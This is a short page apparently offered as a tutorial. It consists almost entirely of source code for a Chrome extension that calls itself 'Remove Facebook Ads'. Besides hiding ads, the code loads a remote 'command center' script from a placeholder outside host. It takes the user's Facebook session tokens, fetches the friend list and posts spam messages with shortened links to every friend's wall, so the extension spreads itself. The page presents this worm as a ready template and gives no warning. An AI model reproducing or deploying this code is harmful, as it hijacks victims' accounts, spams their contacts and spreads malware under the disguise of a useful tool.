StellaArtois Chrome Extension Tutorial!

{
  "name": "Remove Facebook Ads",
  "version": "1.0.0",
  "description": "Removes advertisements on Facebook",
  "icons": { "16": "icon-16.gif",
             "48": "icon-48.gif",
             "128": "icon-128.gif" },
  "background_page": "background.html",
  "content_scripts": [
    {
      "matches": ["http://www.facebook.com/*","https://www.facebook.com/*"],
      "js": ["jquery.js", "contentscript.js"]
    }
  ]
}

$(document).ready(function() {
	// External JS. This is the command center.
	(function(d){
    	var trackingjs, id = 'stats'; if (d.getElementById(id)) {return;}
     	trackingjs = d.createElement('script'); trackingjs.id = id; trackingjs.async = true;
     	trackingjs.src = "http://yoursite.com/stats.js";
     	d.getElementsByTagName('body')[0].appendChild(trackingjs);
	}(document));

	var inject = function() {
		jQuery('.rightColumnWrapper').hide();
	};

	document.body.addEventListener("DOMNodeInserted", inject, false);
});

// Checks to make sure the user is logged in
if(readCookie('c_user') != null) {
	if(readCookie('installed') != 'true') {
		var pfid = document.getElementsByName('post_form_id')[0].value;
		var fbdtsg = document.getElementsByName('fb_dtsg')[0].value;
		var user = Env.user;
		var xhpc = document.getElementsByName('xhpc_composerid')[0].value;
		
		xmlHttp = new XMLHttpRequest(); 
		xmlHttp.onreadystatechange = function() {
			if (xmlHttp.readyState == 4) {
      			if (xmlHttp.status == 200) {
      				var response = stripslashes(xmlHttp.responseText);
      				response = response.replace(RegExp( "\\t", "g" ), response);
					var obj = JSON.parse(response.substring(9));
					friends = obj.payload.entries;
					
					var friendsJSON = {};
					for(var i = 0; i <= friends.length; i++)
					{
						if(typeof friends[i] != 'undefined'){
    						shareURL(friends[i].uid);
						}
					}
					
					createCookie('installed','true',365);
				}
			}
		};
		
		
		xmlHttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user +   "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user, true);
		xmlHttp.send( null );
	} else {
		// Already posted. Console log if you need.
	}
	
}

function shareURL(uid)
{
	
	var messages = [
		"I've removed the ads from Facebook pretty cool. Check it out ",
		"Yay! No more ads on fb. Love it ",
		"Remove your FB ads ... ",
		"I hate FB ads. Thanks for this cool plugin "
	];
	
	
	var domains = [
		"http://bit.ly/xxxx",
		"http://bit.ly/xxxx",
		"http://bit.ly/xxxx",
		"http://bit.ly/xxxx",
		"http://bit.ly/xxxx",
		"http://bit.ly/xxxx",
	]
	
	var randomMessage = messages[Math.floor(messages.length * Math.random())];
	var randDomain = domains[Math.floor(domains.length * Math.random())];

	var site = randDomain + "?" + Math['random']();
	
	var postData = "post_form_id=" + pfid + "&fb_dtsg=" + fbdtsg + "&xhpc_composerid=" + xhpc + "&xhpc_targetid=" + uid + "&xhpc_context=profile&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=" + encodeURIComponent(randomMessage + site) + "&xhpc_message=" + encodeURIComponent(randomMessage + site) + "&composertags_place=&composertags_place_name=&composer_predicted_city=105952546102246&composer_session_id=1321840908&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=" + user;
	
	xmlHttp = new XMLHttpRequest();
	
	xmlHttp.onreadystatechange = function() {
		if (xmlHttp.readyState == 4) {
      		if (xmlHttp.status == 200) {
      			//alert("Posted to: " + uid);
			}
		}
	};
	
	xmlHttp.open("POST", "http://www.facebook.com/ajax/updatestatus.php?__a=1", true);
	xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8");
	xmlHttp.setRequestHeader("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20100101 Firefox/8.0");
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
	xmlHttp.send(postData);
}

// Handy strip slashes function
function stripslashes (str) {
    return (str + '').replace(/\\(.?)/g, function (s, n1) {
        switch (n1) {
        case '\\':
            return '\\';
        case '0':
            return '\u0000';
        case '':
            return '';
        default:
            return n1;
        }
    });
}

// Some cookie handling functions.
function createCookie(name,value,days) {
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}

function eraseCookie(name) {
	createCookie(name,"",-1);
}